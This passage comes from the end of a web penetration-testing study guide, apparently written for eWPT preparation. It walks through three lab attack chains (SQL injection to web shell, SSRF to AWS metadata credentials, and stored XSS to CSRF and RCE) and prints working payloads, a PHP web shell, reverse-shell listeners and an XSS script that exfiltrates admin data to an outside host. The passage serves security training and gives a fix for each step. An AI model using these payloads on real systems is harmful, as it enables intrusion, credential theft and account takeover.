6. Appendices — raw requests/responses, tool output, host/endpoint tables
Tips: severity-rank; each finding needs a repeatable PoC + evidence + concrete fix; show impact (cookie theft/admin action, not a bare alert(1)); write the exec summary for management and findings for engineers; screenshot everything as you go — you can't reproduce after the clock stops.
26. Worked Attack Chain #1 — SQLi → admin → upload → RCE
Authorized/lab. Target http://shop.local.
Recon:
whatweb→ Apache/PHP/MySQL;gobusterfinds/product.php?id=,/admin/,/uploads/,/backup.zip.SQLi:
id=1'→ error;ORDER BY 5ok;id=-1 UNION SELECT 1,group_concat(username,0x3a,password),3,4,5 FROM users-- -→admin:5f4dcc3b5aa765d61d8327deb882cf99.Crack:
hashcat -m 0 hash.txt rockyou.txt→admin:password; log in to/admin/.Upload → shell: avatar upload checks
Content-Typeonly → uploadshell.php(body<?php system($_GET['c']);?>) asimage/jpeg→/uploads/shell.php.RCE + loot:
curl "http://shop.local/uploads/shell.php?c=id"; reverse shell (nc -lvnp 443); readconfig.phpfor DB creds. Chain: discovery → error-based SQLi (no prepared statements) → cracked weak MD5 → Content-Type-only upload → web shell/RCE → secrets. Each fix breaks a link: parameterized queries, strong hashing, validate uploads by content + store outside web root.
27. Worked Attack Chain #2 — Blind SSRF → cloud metadata → account takeover
Authorized/lab. An "import avatar from URL" feature fetches server-side.
Confirm blind SSRF:
avatar_url=http://<collab>.oastify.com/→ Burp Collaborator shows a DNS/HTTP callback.Internal recon: compare
avatar_url=http://127.0.0.1:8080/vs:22/(timing/size) → map internal reachability.Cloud metadata (AWS):
avatar_url=http://169.254.169.254/latest/meta-data/iam/security-credentials/web-role→ if fetched content is stored/echoed as the avatar (or leaked in an error), you exfil temporary AWS creds (ASIA…).Use creds: export them;
aws s3 ls→ the app's bucket holds a user-data export / reset-token store → account takeover of arbitrary users → escalate to admin.(blind-only variant) use gopher to hit an internal unauthenticated service, or read
/latest/user-datafor secrets. Chain: URL-fetch feature → blind SSRF → internal recon → IMDS → AWS creds → S3 data → account/admin takeover. Fixes: allow-list fetch destinations, block link-local ranges, IMDSv2, don't echo fetched content, least-priv instance role.
28. Worked Attack Chain #3 — Stored XSS → admin session → CSRF → RCE
Authorized/lab. A support-ticket app: users file tickets that admins read in a dashboard.
Find stored XSS: the ticket "message" field renders unsanitized in the admin view. Submit a ticket whose body is:
<script>fetch('/admin/users',{credentials:'include'}) // runs in the admin's browser .then(r=>r.text()).then(d=>new Image().src='http://10.10.14.2/x?'+btoa(d));</script>Admin triggers it: when the admin opens the ticket, the script runs as the admin → exfiltrates admin-only data / the admin's CSRF token to your server.
Forge a privileged action (CSRF via the XSS): with the admin's session + CSRF token, the same script calls an admin endpoint — e.g., enable a plugin/theme editor or create a new admin:
<script>fetch('/admin/csrf').then(r=>r.text()).then(t=> fetch('/admin/plugins/upload',{method:'POST',credentials:'include', headers:{'X-CSRF':t},body: myMaliciousPluginFormData}));</script>RCE: the uploaded plugin/theme (or the enabled code editor) executes PHP on the server → web shell → reverse shell (
nc -lvnp 443). Chain: stored XSS in user input → executes in an admin session → steals token → CSRF-forced admin action (malicious plugin/theme) → RCE. Fixes (each breaks a link): output-encode/sanitize ticket content + CSP,HttpOnlycookies, per-request CSRF tokens +SameSite, disable the in-app file/plugin editor, and don't run uploaded code.
29. Tooling Quick Reference & Glossary
Core toolset:
Proxy/manual : Burp Suite (Proxy/Repeater/Intruder/Sequencer/Autorize/Param Miner/Collaborator/Turbo Intruder/HTTP Request Smuggler), OWASP ZAP
Recon : whatweb, wafw00f, subfinder/amass, crt.sh, gobuster/ffuf/feroxbuster, git-dumper
Injection : sqlmap, commix (cmd), tplmap (SSTI), NoSQLMap
Payloads/ref : PayloadsAllTheThings, SecLists, PortSwigger Web Security Academy, HackTricks, OWASP WSTG
Auth/JWT : hydra, ffuf, jwt_tool, hashcat
XXE/Deser : ysoserial (Java), phpggc (PHP)
API/CMS : wpscan, joomscan, droopescan, GraphQL introspection
Serve/catch : python3 -m http.server 80 ; nc -lvnp 443 ; Burp Collaborator (OOB)
Glossary:
WSTG / OWASP Top 10 / API Top 10 — the canonical web/API risk references.
IDOR / BOLA — accessing another object by changing its identifier (broken object-level auth).
SSTI / XXE / SSRF / CSRF / CORS — template injection / XML external entity / server-side request forgery / cross-site request forgery / cross-origin resource sharing.
LFI / RFI — local / remote file inclusion (→ often RCE).
Web shell — uploaded script giving command execution via the web server.
Request smuggling (CL.TE/TE.CL) — front/back-end request-boundary desync.
IMDS — cloud instance metadata service (SSRF target → temp creds).
Gadget chain — classes abused during insecure deserialization to reach code execution.
Attack narrative — the chained engagement story in the report (the graded centerpiece).
End of guide. All payloads/commands are for authorized web apps only. eWPT is graded on methodology, demonstrated impact, and a clear professional report — proxy through Burp, screenshot as you go, and let the attack narrative tell the chain.